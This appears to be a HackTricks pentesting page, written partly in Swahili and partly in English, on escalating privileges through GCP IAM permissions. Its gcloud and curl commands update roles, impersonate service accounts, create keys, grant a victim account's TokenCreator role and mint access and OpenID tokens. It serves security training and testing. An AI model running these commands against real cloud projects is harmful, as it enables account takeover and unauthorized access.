GCP - IAM Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

IAM

Pata maelezo zaidi kuhusu IAM katika:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuboresha jukumu lililotolewa kwako na kukupa ruhusa za ziada kwa rasilimali nyingine kama:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Mshambuliaji mwenye ruhusa zilizoelezwa ataweza kuomba tokeni ya ufikiaji inayomilikiwa na Akaunti ya Huduma, hivyo inawezekana kuomba tokeni ya ufikiaji ya Akaunti ya Huduma yenye ruhusa zaidi kuliko zetu.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccountKeys.create

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuunda ufunguo unaosimamiwa na mtumiaji kwa Akaunti ya Huduma, ambayo itaturuhusu kufikia GCP kama Akaunti hiyo ya Huduma.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

Note that iam.serviceAccountKeys.update won't work to modify the key of a SA because to do that the permissions iam.serviceAccountKeys.create is also needed.

iam.serviceAccounts.implicitDelegation

If you have the iam.serviceAccounts.implicitDelegation permission on a Service Account that has the iam.serviceAccounts.getAccessToken permission on a third Service Account, then you can use implicitDelegation to create a token for that third Service Account. Here is a diagram to help explain.

Note that according to the documentation, the delegation of gcloud only works to generate a token using the generateAccessToken() method. So here you have how to get a token using the API directly:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.signBlob

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kusaini mzigo wowote katika GCP. Hivyo itakuwa inawezekana kuunda JWT isiyo na sahihi ya SA na kisha kuisafirisha kama blob ili kupata JWT iliyosainiwa na SA tunayoelekeza. Kwa maelezo zaidi soma hii.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.

iam.serviceAccounts.signJwt

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kusaini tokeni za wavuti za JSON (JWTs) zilizo na muundo mzuri. Tofauti na njia ya awali ni kwamba badala ya kumfanya google asaini blob inayoshikilia JWT, tunatumia njia ya signJWT ambayo tayari inatarajia JWT. Hii inafanya iwe rahisi kutumia lakini unaweza kusaini JWT tu badala ya bytes zozote.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.setIamPolicy

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuongeza sera za IAM kwa akaunti za huduma. Unaweza kuitumia ku jipatia ruhusa unazohitaji ili kujifanya kuwa akaunti ya huduma. Katika mfano ufuatao tunajipatia nafasi ya roles/iam.serviceAccountTokenCreator juu ya SA ya kuvutia:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:[e-mail]" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:[e-mail]" \
--role="roles/iam.serviceAccountUser"

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

The iam.serviceAccounts.actAs permission is like the iam:PassRole permission from AWS. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the iam.serviceAccounts.actAs involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.

Huduma ya akaunti kuiga

Kuiga huduma ya akaunti kunaweza kuwa na manufaa sana ili kupata ruhusa mpya na bora. Kuna njia tatu ambazo unaweza kuiga huduma nyingine ya akaunti:

• Uthibitishaji ukitumia funguo za faragha za RSA (zilizoelezwa hapo juu)

• Uidhinishaji ukitumia sera za Cloud IAM (zilizoelezwa hapa)

• Kuweka kazi kwenye huduma za GCP (inafaa zaidi kwa kuathiri akaunti ya mtumiaji)

iam.serviceAccounts.getOpenIdToken

Mshambuliaji mwenye ruhusa zilizoelezwa atakuwa na uwezo wa kuunda OpenID JWT. Hizi zinatumika kuthibitisha utambulisho na hazihitaji kuwa na uidhinishaji wowote wa kimya kimya dhidi ya rasilimali.

Kulingana na hii post ya kuvutia, ni muhimu kuashiria hadhira (huduma ambapo unataka kutumia tokeni kuthibitisha) na utapokea JWT iliyosainiwa na google ikionyesha huduma ya akaunti na hadhira ya JWT.

You can generate an OpenIDToken (if you have the access) with:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Kisha unaweza tu kuitumia kufikia huduma na:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Baadhi ya huduma zinazounga mkono uthibitishaji kupitia aina hii ya token ni:

• Google Cloud Run

• Google Cloud Functions

• Google Identity Aware Proxy

• Google Cloud Endpoints (ikiwa unatumia Google OIDC)

Unaweza kupata mfano wa jinsi ya kuunda token ya OpenID kwa niaba ya akaunti ya huduma hapa.

Marejeleo

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.